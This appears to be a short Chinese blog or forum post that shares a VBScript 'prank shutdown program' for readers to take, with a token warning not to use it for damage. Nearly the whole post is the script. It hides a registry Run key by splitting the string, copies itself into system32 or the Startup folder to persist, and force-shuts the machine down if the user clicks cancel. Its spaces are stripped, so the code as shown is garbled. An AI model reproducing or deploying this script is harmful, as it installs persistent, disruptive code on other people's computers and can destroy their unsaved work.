vb下的恶搞关机程序
额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。
Dimfs,dirwin,c,Wll,str,strr,r Setfs=CreateObject("Scripting.FileSystemObject") Setdirwin=fs.GetSpecialFolder(1) SetWll=WScript.CreateObject("WScript.Shell") Setc=fs.GetFile(WScript.ScriptFullName) str="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb" if(fs.FileExists(dirwin&"\wxb.vbs"))Then callShow_And_Do("reg") elseif(fs.FileExists("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs"))Then callShow_And_Do("Startup") else OnErrorResumeNext strr="" Wll.RegWritestr,"C:\WINDOWS\system32\wxb.vbs","REG_SZ" strr=Wll.Regread(str) ifstrr=""then c.Copy("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs") else c.Copy(dirwin&"\wxb.vbs") endif endif subShow_And_Do(s) dimf r=MsgBox("警告:请不要随便动我的电脑!"&Chr(13)&Chr(10)&"确定->下次一定会先征求同意的"&Chr(10)&"取消->爱咋滴咋地,我才不管他嘞!",4145,"MsgBoxExample") Ifr=1Then ifs="Startup"then setf=fs.GetFile("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs") f.Delete() elseifs="reg"then Wll.RegDeletestr setf=fs.GetFile(dirwin&"\wxb.vbs") f.Delete() endif Else wll.run"Shutdown.exe-s-f-t0" EndIf endsub
好了,代码分享给大家了,不要随便拿去搞破坏!